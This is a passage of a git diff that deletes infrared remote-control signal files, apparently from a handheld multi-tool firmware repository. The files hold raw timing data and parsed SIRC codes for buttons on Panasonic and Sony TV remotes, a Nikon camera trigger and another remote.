1479 516 3991 518 507 500 501 496 504 493 508 499 500 497 1503 492 509 498 503 494 20805 8072 3997 523 503 494 506 491 1509 496 505 492 1482 523 1478 517 1483 522 1479 516 3991 518 506 491 510 497 503 494 507 490 510 497 1502 493 508 499 502 495 20801 8065 4000 520 506 491 509 499 1501 494 506 491 1483 522 1478 517 1483 522 1478 517 3990 519 506 491 509 499 502 495 506 491 509 499 1501 494 507 500 501 496 20799 8068 4000 520 505 492 508 500 1500 495 506 491 1483 522 1478 517 1483 522 1478 517 3989 520 505 492 508 499 501 496 505 492 507 500 1499 496 505 492 510 498 20796 8071 3995 525 500 497 504 493 1506 499 501 496 1504 491 1484 521 1479 516 1485 520 3986 524 501 496 505 492 509 498 502 495 505 492 1507 498 503 494 507 500 20798 8070 3998 522 504 493 507 501 1499 496 504 493 1506 499 1476 519 1482 523 1477 518 3989 520 504 493 508 499 501 496 504 493 507 501 1499 496 505 492 510 497 20798 8069 4001 519 507 501 500 497 1502 493 508 500 1500 495 1480 525 1475 520 1481 524 3983 516 509 498 503 494 506 491 510 497 503 494 1505 500 501 496 506 491 -# -name: Exit -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8063 4005 525 501 496 504 493 1506 499 502 495 1479 526 1474 521 1479 516 1485 520 3986 523 1476 519 1481 524 1476 519 1481 524 1475 520 506 491 509 499 503 494 16806 8072 3995 525 501 496 504 493 1482 523 502 495 1479 516 1484 521 1478 517 1484 521 3985 524 1475 520 1480 525 1475 520 1480 525 1475 520 505 492 509 499 502 495 16806 8071 3996 524 503 494 506 491 1484 521 504 493 1482 523 1476 519 1481 524 1477 518 3989 520 1479 516 1484 521 1479 516 1484 521 1479 516 509 499 503 494 507 490 16812 8065 4005 525 500 497 503 494 1506 499 501 496 1479 526 1474 521 1480 525 1476 519 3988 521 1478 517 1483 522 1478 517 1483 522 1479 516 509 499 502 495 506 491 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8070 3999 521 505 492 509 498 1501 494 506 491 1509 496 1479 526 1499 496 1506 499 3983 516 1510 495 505 492 1508 497 503 494 1506 499 502 495 506 491 511 497 18806 8065 4005 525 501 496 504 493 1507 498 503 494 1480 525 1475 520 1481 524 1477 518 3989 520 1481 524 501 496 1479 526 500 497 1478 517 510 497 503 494 508 499 18802 8070 4001 519 507 500 500 497 1503 492 508 499 1500 495 1480 525 1500 495 1506 499 3983 516 1484 521 504 493 1507 498 503 494 1506 499 501 496 505 492 510 498 18802 8070 4000 520 505 492 508 499 1501 494 507 501 1499 496 1504 501 1499 496 1506 499 3983 516 1509 496 505 492 1508 497 503 494 1506 499 502 495 506 491 510 497 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8069 4001 519 507 501 499 498 1502 493 508 499 1500 495 1505 500 1499 496 1506 499 3983 516 510 498 503 494 1506 499 501 496 1504 501 500 497 503 494 508 499 19801 8069 4000 520 506 491 509 499 1502 493 508 499 1499 496 1504 501 1499 496 1480 525 3982 517 509 499 502 495 1504 501 499 498 1502 493 509 498 502 495 506 491 19811 8069 3999 521 505 492 508 499 1500 495 506 491 1483 522 1478 517 1484 521 1479 516 3991 518 507 500 501 496 1503 492 509 498 1477 518 508 499 501 496 505 492 -# -name: Set_ok -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8063 4003 517 509 498 502 495 1504 501 499 498 1501 494 1481 524 1501 494 1482 523 3983 516 1508 497 1480 515 510 497 503 494 506 491 1509 496 504 493 509 498 18799 8062 4005 525 501 496 504 493 1507 498 503 494 1505 500 1499 496 1480 525 1476 519 3987 522 1477 518 1483 522 503 494 506 491 509 499 1502 493 508 499 502 495 18806 8066 4003 517 509 498 502 495 1505 500 500 497 1503 492 1508 497 1479 516 1486 519 3987 522 1477 518 1483 522 503 494 506 491 509 498 1501 494 508 499 502 495 18804 8067 4001 519 508 500 501 496 1503 492 509 498 1501 494 1482 523 1477 518 1484 521 3985 524 1476 519 1481 524 502 495 505 492 508 499 1500 495 506 491 511 496 -# -name: - -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8065 4005 525 500 497 503 494 1506 499 501 496 1504 491 1508 497 1503 492 1509 496 3985 524 1500 495 506 491 510 497 503 494 506 491 1509 496 505 492 509 498 19801 8067 3999 521 504 493 507 500 1500 495 505 492 1508 497 1502 493 1507 498 1503 492 3989 520 1504 501 500 497 504 493 507 500 500 497 1503 492 509 498 503 494 19804 8064 4005 525 500 497 503 494 1506 499 502 495 1504 501 1499 496 1504 501 1501 494 3987 522 1503 492 509 498 502 495 505 492 508 499 1501 494 507 500 501 496 19800 8067 3999 520 505 492 508 499 1500 495 506 491 1508 497 1502 493 1507 498 1502 493 3988 521 1503 492 509 498 502 495 506 491 509 498 1501 494 507 500 501 496 19801 8066 4000 520 506 491 509 498 1501 494 507 500 1499 496 1504 491 1508 497 1504 501 3981 518 1507 498 503 494 507 500 500 497 504 493 1507 498 503 494 507 500 19798 8069 3998 521 504 493 508 499 1500 495 506 491 1508 497 1503 492 1508 497 1504 501 3980 519 1506 499 502 495 505 492 509 498 501 496 1504 501 500 497 505 492 -# -name: + -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8064 4001 518 507 500 499 498 1502 493 507 500 1474 521 1479 516 1484 521 1479 516 3990 519 506 491 1508 497 504 493 508 499 500 497 1503 492 509 498 503 494 19803 8063 4003 516 509 498 502 495 1505 500 500 497 1478 517 1483 522 1478 568 1431 522 3985 524 501 496 1481 524 501 496 505 492 508 499 1500 494 507 500 501 496 19800 8067 4000 519 506 491 509 498 1477 517 506 501 1473 521 1479 515 1483 522 1479 526 3980 518 506 491 1485 520 505 492 508 499 501 496 1479 516 509 498 503 494 19800 8066 3998 521 504 493 507 500 1474 520 504 493 1482 523 1477 517 1482 523 1477 517 3989 520 504 493 1483 522 503 494 506 491 509 498 1477 517 508 499 502 495 -# -name: Guide -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8062 4004 526 500 497 503 494 1505 500 501 496 1503 491 1484 521 1504 501 1500 495 3988 521 505 492 508 499 1500 495 506 491 1508 497 1479 516 510 497 504 493 18805 8064 4002 517 509 498 502 495 1504 501 500 497 1502 493 1482 523 1478 516 1484 521 3985 524 502 495 505 492 1507 498 503 494 1505 500 1475 519 506 491 511 496 18801 8068 4000 519 507 500 500 497 1502 493 508 499 1500 495 1505 500 1476 518 1482 523 3984 525 500 497 503 494 1506 499 501 496 1504 501 1475 519 506 491 510 497 18802 8067 4001 518 507 500 500 497 1503 492 508 499 1500 495 1481 524 1475 520 1481 524 3981 518 508 499 500 497 1503 491 508 499 1500 495 1482 523 501 496 506 491 18807 8062 4005 525 501 496 504 493 1507 498 502 495 1479 526 1475 519 1480 525 1476 518 3989 520 505 492 508 499 1500 495 506 491 1508 497 1479 516 509 498 503 494 -# -name: 0 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8067 4001 518 507 500 499 498 1502 493 508 499 1501 494 1505 500 1500 495 1507 498 3984 525 499 498 1503 492 509 498 501 496 1505 500 500 497 504 493 508 499 19799 8068 4001 518 507 501 500 497 1503 492 509 498 1501 494 1506 499 1501 493 1507 498 3984 525 500 497 1503 492 509 498 502 495 1506 499 502 495 505 492 509 498 -# -name: 1 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8071 3995 524 501 496 504 493 1507 498 502 495 1504 501 1499 495 1504 501 1500 494 3986 523 503 494 506 491 509 498 1501 493 507 500 500 497 504 493 508 499 20792 8070 3996 523 502 495 505 492 1507 498 503 494 1504 501 1498 496 1503 491 1509 496 3985 524 501 496 505 492 508 499 1500 494 506 491 509 498 502 495 506 491 20803 8061 4004 515 510 497 502 495 1505 500 500 497 1501 493 1506 499 1500 494 1506 499 3982 516 508 499 501 496 504 493 1506 499 502 495 505 492 508 499 502 495 -# -name: 2 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8068 3998 521 504 493 507 500 1499 495 505 492 1507 498 1476 518 1482 523 1477 517 3988 521 1480 525 500 497 503 494 1505 500 501 496 505 492 509 498 503 494 19801 8065 4002 517 508 499 501 496 1504 501 499 498 1501 493 1506 499 1501 494 1507 498 3983 515 1509 496 505 492 508 499 1501 493 507 500 500 497 504 493 508 499 19798 8068 3999 520 505 492 508 499 1501 494 506 491 1508 497 1502 493 1507 498 1502 493 3989 520 1504 501 500 497 503 494 1506 499 501 496 505 492 508 499 502 495 -# -name: 3 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8064 4004 515 510 497 503 494 1505 500 501 496 1504 490 1509 496 1504 491 1510 495 3987 522 503 494 1506 499 502 495 1505 500 501 496 504 493 508 499 502 495 19804 8063 4005 525 501 496 504 493 1507 498 503 494 1506 499 1500 495 1505 500 1501 494 3989 520 505 492 1508 497 503 494 1507 498 503 494 506 491 510 497 504 493 19804 8072 3996 523 503 494 506 491 1509 496 505 492 1507 498 1502 493 1507 498 1503 492 3990 519 505 492 1508 497 504 493 1507 498 503 494 506 491 510 497 504 493 -# -name: 4 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8065 4002 517 508 499 501 496 1504 501 499 498 1502 493 1507 498 1501 494 1507 498 3983 516 1509 496 1504 501 499 498 1502 493 508 499 502 495 505 492 509 498 18798 8071 3997 522 503 494 505 492 1508 497 504 493 1507 498 1501 494 1507 498 1503 492 3989 520 1504 501 1499 495 505 492 1508 497 503 494 507 500 500 497 504 493 18804 8065 4001 518 508 499 500 497 1503 492 509 498 1502 492 1507 498 1501 494 1508 497 3984 525 1499 495 1505 500 500 497 1503 492 509 498 502 495 506 491 510 497 -# -name: 5 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8065 4000 520 506 491 509 498 1502 493 507 500 1499 496 1504 491 1508 497 1504 501 3980 518 506 491 509 498 1501 494 1507 498 503 494 506 491 509 498 503 494 19801 8065 4003 516 509 498 502 495 1505 500 500 497 1503 492 1507 498 1502 493 1508 497 3985 524 501 496 504 493 1507 498 1502 493 508 499 501 496 505 492 509 498 19798 8069 3998 521 504 493 507 500 1499 495 505 492 1507 498 1502 493 1507 498 1503 492 3989 520 505 492 508 499 1500 494 1506 499 502 495 506 491 509 498 503 494 -# -name: 6 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8060 4002 517 507 500 500 497 1502 493 507 500 1498 497 1502 493 1507 498 1502 493 3987 522 1502 493 507 500 1499 496 1504 491 510 497 503 494 506 491 510 497 18797 8061 4003 516 508 499 501 496 1503 492 509 498 1501 494 1505 500 1500 494 1506 499 3983 515 1509 496 504 493 1506 499 1501 494 507 500 501 496 504 493 508 499 -# -name: 7 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8066 3999 520 506 491 509 498 1501 494 506 491 1509 496 1503 491 1508 497 1504 501 3980 518 506 491 1509 496 1503 492 1508 497 504 493 507 500 500 497 505 492 18805 8064 4002 517 508 499 501 496 1504 491 509 498 1501 494 1506 499 1500 494 1507 498 3983 516 509 498 1501 494 1506 499 1501 494 507 500 500 497 504 493 508 499 18796 8062 4002 518 508 499 501 496 1503 492 509 498 1501 494 1506 499 1500 495 1506 499 3982 517 507 500 1499 496 1504 491 1509 496 504 493 508 499 501 496 505 492 -# -name: 8 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8068 3995 524 500 497 503 494 1505 500 500 497 1502 493 1506 499 1501 494 1506 499 3982 517 1506 499 1500 495 1505 500 1499 496 505 492 509 498 502 495 505 492 17804 8068 3999 520 505 492 508 499 1501 494 506 491 1509 496 1503 492 1508 497 1504 501 3980 518 1506 499 1501 494 1505 500 1501 493 507 500 500 497 504 493 508 499 17799 8062 4005 525 501 496 504 493 1507 498 502 495 1504 501 1499 496 1503 492 1509 496 3985 524 1500 495 1505 500 1500 495 1505 500 501 496 505 492 509 498 503 494 17804 8068 3998 521 504 493 507 500 1499 495 505 492 1507 498 1501 494 1505 500 1501 494 3987 522 1477 517 1482 523 1476 518 1507 498 503 494 507 490 510 497 504 493 17807 8064 4003 516 510 497 503 494 1506 499 501 496 1504 490 1485 520 1480 525 1476 518 3987 522 1478 516 1484 521 1479 516 1484 521 504 493 508 499 501 496 506 491 17805 8067 4001 518 507 500 500 497 1503 492 508 499 1500 495 1480 525 1474 520 1481 524 3980 519 1480 525 1475 519 1479 515 1485 520 505 492 508 499 501 496 505 492 17806 8066 4001 518 507 500 500 497 1502 493 507 500 1499 495 1480 525 1474 520 1480 525 3980 518 1480 525 1475 519 1480 525 1475 519 505 492 509 498 502 495 507 490 17806 8065 4001 518 507 500 500 497 1503 492 508 499 1500 495 1505 500 1474 520 1480 525 3981 517 1482 523 1476 518 1507 498 1502 492 509 498 503 494 506 491 511 496 17805 8067 4002 517 508 499 501 496 1504 501 499 498 1502 492 1507 498 1501 494 1507 498 3984 525 1499 495 1504 501 1499 496 1504 501 500 497 503 494 507 500 501 496 17802 8071 3996 524 502 495 505 492 1508 497 503 494 1505 500 1500 495 1505 500 1501 494 3987 522 1502 492 1507 498 1502 493 1507 498 503 494 507 500 500 497 504 493 17806 8065 4001 518 507 500 500 497 1502 493 508 499 1500 495 1505 500 1499 495 1506 499 3982 516 1508 497 1503 492 1508 497 1504 490 510 497 503 494 507 500 501 496 17806 8066 4004 515 510 497 503 494 1506 499 502 495 1504 501 1499 495 1504 501 1500 495 3987 522 1502 493 1508 497 1503 492 1508 497 504 493 507 500 500 497 505 492 -# -name: 9 -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8063 4001 519 507 500 499 498 1502 493 507 500 1499 495 1503 492 1508 497 1503 492 3990 519 506 491 510 497 503 494 506 491 1508 497 504 493 507 500 501 496 20799 8065 4001 519 507 500 499 498 1502 493 507 500 1500 495 1505 500 1499 496 1506 499 3983 516 509 498 502 495 505 492 508 499 1501 494 506 491 510 497 504 493 20801 8064 4004 515 509 498 502 495 1505 500 500 497 1502 493 1506 499 1501 494 1507 498 3983 516 510 497 503 494 507 490 510 497 1502 493 508 499 501 496 505 492 20803 8071 3994 525 500 497 504 493 1506 499 502 495 1504 501 1498 497 1503 492 1509 496 3986 523 502 495 505 492 509 498 502 495 1504 501 500 497 503 494 508 499 -# -name: Ent -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 8063 4002 517 508 499 500 497 1503 492 508 499 1500 494 1504 501 1498 497 1504 501 3980 519 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 18804 8066 4000 519 506 491 509 498 1501 494 506 491 1508 497 1502 493 1507 498 1503 492 3989 520 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 18803 8066 4000 519 506 491 509 498 1501 494 507 500 1499 496 1503 492 1508 497 1503 492 3989 520 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 18804 8066 3999 520 505 492 508 499 1500 495 505 492 1508 497 1502 493 1507 498 1503 492 3989 520 1505 500 500 497 1503 492 509 498 502 495 505 492 1508 497 504 493 diff --git a/assets/ir_optional_assets/optional-assets/Nikon.ir b/assets/ir_optional_assets/optional-assets/Nikon.ir deleted file mode 100644 index 87771989a..000000000 --- a/assets/ir_optional_assets/optional-assets/Nikon.ir +++ /dev/null @@ -1,8 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Take_photo -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 1989 27513 408 1569 386 3503 408 62013 1985 27517 404 1573 382 3506 405 diff --git a/assets/ir_optional_assets/optional-assets/Old_sonyxbr.ir b/assets/ir_optional_assets/optional-assets/Old_sonyxbr.ir deleted file mode 100644 index c326b8055..000000000 --- a/assets/ir_optional_assets/optional-assets/Old_sonyxbr.ir +++ /dev/null @@ -1,26 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 15 00 00 00 -# -name: Vol_up -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 12 00 00 00 -# -name: Vol_dwn -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 13 00 00 00 -# -name: Mute -type: parsed -protocol: SIRC -address: 01 00 00 00 -command: 14 00 00 00 diff --git a/assets/ir_optional_assets/optional-assets/Panasonic_TC-P50S2.ir b/assets/ir_optional_assets/optional-assets/Panasonic_TC-P50S2.ir deleted file mode 100644 index d3bd431ee..000000000 --- a/assets/ir_optional_assets/optional-assets/Panasonic_TC-P50S2.ir +++ /dev/null @@ -1,278 +0,0 @@ -Filetype: IR signals file -Version: 1 -# -name: Power -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1735 448 424 445 1301 448 425 444 429 450 422 447 426 443 430 449 423 446 427 452 421 448 424 445 428 451 422 447 1299 450 422 447 426 443 430 449 423 446 427 452 420 449 424 445 428 451 421 448 1298 451 422 447 425 444 429 450 423 446 426 443 430 449 423 446 427 452 1294 444 428 451 1295 443 1303 446 1300 449 1297 452 421 500 373 444 1302 447 426 443 1303 446 1300 449 1297 452 1294 444 428 451 1295 443 74431 3476 1736 448 425 444 1302 447 426 453 419 450 423 446 427 452 420 449 424 445 427 452 421 448 425 444 428 451 422 447 1299 450 422 447 426 453 420 449 423 446 427 452 420 449 424 445 428 451 421 448 1298 451 422 447 425 454 419 450 423 446 454 425 447 422 451 418 427 452 1294 444 428 451 1295 443 1302 447 1300 449 1297 452 420 449 451 418 1301 448 424 445 1302 447 1299 450 1296 442 1304 445 454 425 1294 444 74431 3475 1737 446 425 454 1293 445 426 453 420 449 424 445 427 452 421 448 424 445 428 451 422 447 425 454 419 450 422 447 1300 449 424 445 427 452 421 448 424 445 428 451 421 448 425 454 418 451 422 447 1300 449 424 445 454 425 420 449 424 445 428 451 421 448 425 444 429 450 1296 453 419 450 1297 452 1294 444 1301 448 1298 451 422 509 364 453 1293 445 427 452 1294 444 1301 448 1298 451 1296 453 420 449 1296 453 -# -name: CC -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1762 421 452 417 1328 421 452 417 456 423 450 419 453 416 457 422 450 419 454 415 458 421 451 418 455 424 448 421 1325 424 449 420 453 416 457 422 450 419 454 415 458 421 451 418 455 424 448 421 1325 424 449 420 453 416 456 423 450 419 453 416 457 422 451 418 454 415 1331 418 455 424 1321 417 1329 420 1325 424 450 419 454 415 1330 419 1327 422 452 417 1328 421 1325 424 1323 415 457 422 451 418 455 424 -# -name: SAP -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3474 1765 418 454 415 1331 418 428 451 448 421 452 417 456 423 449 420 453 416 457 422 450 419 454 425 448 421 452 417 1328 421 452 417 456 423 450 419 453 416 457 422 450 419 454 415 458 421 452 417 1328 421 452 417 456 423 450 419 453 416 457 422 451 418 454 425 448 421 1325 424 1322 416 456 423 450 419 1327 422 1324 425 448 421 452 417 1329 420 1326 423 450 419 454 415 1331 418 1328 421 452 417 1302 447 -# -name: Input -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3474 1765 418 454 415 1304 445 455 424 449 420 452 417 456 423 450 419 454 415 457 422 451 418 455 424 448 421 452 417 1329 420 426 443 457 422 450 419 427 452 421 448 452 417 456 423 449 420 453 416 1330 419 454 415 458 421 451 418 455 424 449 420 452 417 429 450 450 419 1326 422 451 418 1328 421 452 417 456 423 449 420 453 416 457 422 1296 442 458 421 1324 425 421 448 452 417 456 423 450 419 1299 450 -# -name: Viera_Link -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3471 1768 415 458 421 1324 424 449 420 453 416 456 423 450 419 454 415 458 421 451 418 455 424 448 421 452 417 456 423 1323 415 457 422 451 418 455 424 448 421 452 417 456 423 450 419 453 416 457 422 1324 424 1321 417 456 423 449 420 1326 422 450 419 454 425 448 421 452 417 1329 420 453 416 457 422 451 418 1328 420 1325 424 449 420 1326 422 450 419 454 425 448 421 1325 423 1322 416 1303 445 454 425 448 421 -# -name: Menu -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3482 1757 416 457 422 1324 425 420 449 451 418 455 424 421 448 452 417 456 423 450 419 453 416 457 422 451 418 455 424 1294 444 428 451 422 447 426 443 457 422 451 418 455 424 448 421 452 417 456 423 1322 416 457 422 423 446 454 425 448 421 452 417 456 423 449 420 453 416 457 422 1324 424 421 448 452 417 1329 420 426 443 1330 419 455 424 421 448 1325 423 449 420 453 416 1330 418 454 425 1294 444 1302 446 -# -name: Viera_Tools -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3475 1764 419 454 415 1331 418 455 424 421 448 425 444 456 423 450 419 454 415 457 422 451 418 455 424 449 420 452 417 1329 419 453 416 430 449 424 445 455 424 449 420 452 417 456 423 450 419 454 415 1303 445 455 424 449 420 452 417 456 423 450 419 454 415 458 421 451 418 1301 447 1298 450 1323 425 1294 444 428 451 1295 443 1303 445 1328 420 1325 423 1295 443 1331 417 1301 448 425 444 1302 446 1300 448 451 418 -# -name: SD_Card -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3476 1763 420 452 417 1302 446 454 415 458 421 451 418 455 424 449 420 453 416 457 422 450 419 454 425 448 421 452 417 1301 447 453 416 430 449 450 419 427 452 448 421 452 417 456 423 450 419 453 416 1330 418 1301 447 425 444 456 423 1296 442 458 421 451 418 455 424 449 420 1326 422 1324 424 448 421 1325 423 450 419 1327 421 424 445 1301 447 453 416 1330 418 454 425 448 421 452 417 1329 419 453 416 458 421 -# -name: Left -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3474 1738 445 427 452 1321 417 456 423 450 419 426 443 458 421 451 418 455 424 449 420 452 417 456 423 450 419 454 415 1304 444 455 424 422 447 425 444 457 422 450 419 454 425 448 421 452 417 456 423 1322 416 457 422 451 418 455 424 448 421 452 417 456 423 450 419 453 416 457 422 1324 425 1295 443 1303 445 454 425 448 421 1297 451 422 447 453 416 1303 445 1300 449 1298 450 449 420 453 416 1303 445 1301 447 -# -name: Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3473 1767 416 456 423 1296 442 458 421 451 418 455 424 449 420 453 416 457 422 451 418 454 425 448 421 452 417 456 423 1323 415 458 421 451 418 455 424 449 420 453 416 456 423 450 419 454 415 458 421 1325 423 449 420 453 416 457 422 451 418 455 424 448 421 452 417 456 423 450 419 1327 421 452 417 1301 447 453 416 457 422 1324 424 448 421 452 417 1329 419 454 415 1331 417 455 424 449 420 1326 422 1324 424 -# -name: Right -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3474 1765 418 454 425 1321 417 456 423 449 420 453 416 457 422 451 418 455 424 449 420 453 416 456 423 450 419 454 425 1293 445 456 423 449 420 453 416 457 422 451 418 455 424 449 420 452 417 456 423 1323 425 447 422 452 417 456 423 449 420 453 416 457 422 451 418 455 424 1294 444 1302 446 1300 448 1298 450 449 420 453 416 1330 418 427 452 1322 416 1302 446 1327 421 1298 450 449 420 426 443 1330 418 1301 447 -# -name: Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3483 1729 454 420 449 1297 451 422 447 426 443 430 449 423 446 428 451 421 448 425 444 429 450 423 446 427 452 421 448 1298 450 423 446 427 452 421 448 424 445 429 450 422 447 426 453 420 501 372 507 1239 447 426 443 430 449 424 445 428 503 370 447 425 444 430 449 423 446 1301 447 1298 450 423 446 1300 448 425 444 429 450 1296 452 420 449 1298 450 1295 443 430 449 1297 451 421 448 425 444 1302 446 1300 448 -# -name: OK -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1762 421 452 417 1329 419 453 416 458 421 451 418 455 424 449 420 453 416 457 422 451 418 454 425 448 421 452 417 1329 419 454 415 458 421 452 417 456 423 449 420 453 416 457 422 451 418 455 424 1322 416 456 423 450 419 454 425 448 421 452 417 429 450 449 420 453 416 1331 417 455 424 449 420 1326 422 451 418 454 425 1321 417 456 423 1323 425 448 421 452 417 1329 419 453 416 457 422 1324 424 1322 416 -# -name: Submenu -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3475 1763 420 453 416 1303 445 455 424 421 448 425 444 457 422 450 419 454 425 448 421 452 417 456 423 450 419 454 415 1331 417 428 451 449 420 453 416 457 422 451 418 455 424 449 420 426 443 457 422 1324 424 1322 416 457 422 450 419 1328 420 425 444 456 423 450 419 454 425 1321 417 1302 446 1299 449 451 418 455 424 1322 416 430 449 1296 452 448 421 1325 423 1323 425 1321 417 456 423 1323 425 420 449 424 445 -# -name: Return -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1763 420 453 416 1330 418 454 425 448 421 452 417 456 423 450 419 454 425 448 421 452 417 456 423 450 419 454 415 1331 417 456 423 449 420 454 415 458 421 451 418 455 424 449 420 453 416 457 422 1324 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 457 422 450 419 455 424 1321 417 456 423 1323 425 448 421 1325 423 1323 425 448 421 452 417 1329 419 454 415 1331 417 456 423 1295 443 458 421 -# -name: Red -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3479 1761 422 451 418 1328 420 452 417 456 423 450 419 454 425 448 421 452 417 456 423 450 419 454 415 458 421 452 417 1329 419 453 416 458 421 451 418 455 424 449 420 453 416 457 422 451 418 455 424 1322 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 448 421 452 417 457 422 450 419 1328 420 1325 423 1323 425 448 421 452 417 456 423 450 419 454 415 1331 417 1329 419 1327 421 1297 451 -# -name: Green -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3473 1740 443 456 423 1323 425 448 421 452 417 456 423 423 446 454 425 448 421 452 417 456 423 450 419 454 425 448 421 1325 423 450 419 454 425 448 421 452 417 456 423 450 419 454 425 448 421 452 417 1329 419 454 425 448 421 452 417 456 423 450 419 454 415 458 421 452 417 1329 419 454 425 448 421 452 417 1329 419 1327 421 1325 423 450 419 1327 421 452 417 456 423 450 419 1327 421 1325 423 1323 415 1304 444 -# -name: Blue -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3473 1767 416 429 450 1324 424 421 448 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 449 420 1326 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 449 420 454 415 1331 417 456 423 450 419 454 425 420 449 452 417 429 450 450 419 454 425 1321 417 1329 419 454 425 448 421 1326 422 1296 452 1322 416 457 422 1324 424 1322 416 430 449 451 418 1329 419 1300 448 1298 450 1296 452 74416 3475 1737 446 454 425 1321 417 456 423 450 419 427 452 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 1324 424 421 448 453 416 457 422 451 418 455 424 448 421 453 416 457 422 451 418 1328 420 452 417 456 423 450 419 454 425 448 421 452 417 456 423 450 419 1327 421 1325 423 450 419 454 425 1294 444 1302 446 1300 448 452 417 1329 419 1300 448 452 417 429 450 1296 452 1321 417 1329 419 1300 448 -# -name: Yellow -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3476 1737 445 455 424 1295 443 457 422 451 418 455 424 449 420 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1298 450 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 1303 445 455 424 449 420 453 416 457 422 451 418 456 423 449 420 454 415 458 421 1324 424 449 420 454 415 1331 417 1301 447 1299 449 452 417 456 423 1323 425 448 421 453 416 1330 418 1300 448 1326 422 1296 452 -# -name: Vol_Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3474 1765 418 455 424 1323 415 458 421 451 418 456 423 422 447 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1325 423 423 446 454 425 448 421 452 417 456 423 450 419 454 425 448 421 452 417 1330 418 455 424 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 1331 417 455 424 449 420 453 416 458 421 452 417 456 423 450 419 1327 421 424 445 1329 419 -# -name: Vol_Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3475 1737 446 427 452 1294 444 456 423 423 446 454 425 421 448 452 417 456 423 423 446 455 424 449 420 425 444 457 422 1297 451 421 448 453 416 457 422 451 418 428 451 449 420 426 443 457 422 424 445 1301 447 426 443 458 421 451 418 456 423 449 420 454 415 458 421 452 417 1302 446 427 452 448 421 452 417 456 423 1296 452 448 421 453 416 1303 445 455 424 449 420 453 416 430 449 1297 451 421 448 1299 449 -# -name: Ch_Up -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3476 1764 419 454 425 1321 417 456 423 450 419 455 424 449 420 453 416 457 422 451 418 455 424 449 420 453 416 458 421 1325 423 450 419 454 414 458 421 452 417 456 423 450 419 455 424 449 420 453 416 1330 418 455 424 449 420 453 416 457 422 451 418 456 423 450 419 454 415 458 421 452 417 1330 418 454 425 1321 417 1330 418 455 424 449 420 453 416 458 421 1325 423 450 419 1327 421 1325 423 450 419 1327 421 -# -name: Ch_Down -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3480 1759 424 450 419 1300 448 452 417 456 423 450 419 454 425 448 421 452 417 457 422 451 418 455 424 449 420 453 416 1331 417 455 424 449 420 454 415 458 421 452 417 456 423 450 419 454 425 448 421 1325 423 450 419 455 424 448 421 453 416 457 422 451 418 455 424 449 420 1326 422 424 445 1329 419 426 443 1331 417 1302 446 454 425 420 449 1298 450 450 419 1328 420 452 417 1330 418 1301 447 425 444 1330 418 -# -name: Mute -type: raw -frequency: 38000 -duty_cycle: 0.330000 -data: 3477 1763 420 453 416 1330 418 455 424 449 420 453 415 458 421 452 417 456 423 450 419 454 425 448 421 452 417 456 423 1324 424 448 421 453 416 457 422 451 418 455 424 449 420 453 416 457 422 451 418 1329 419 454 415 458 421 452 417 456 423 450 419 427 452 448 421 452 417 456 423 1324 424 449 420 453 416 1330 418 1328 420 453 416 457 422 451 418 1329 419 454 415 458 421 1298 450 1323 425 448 421 1326 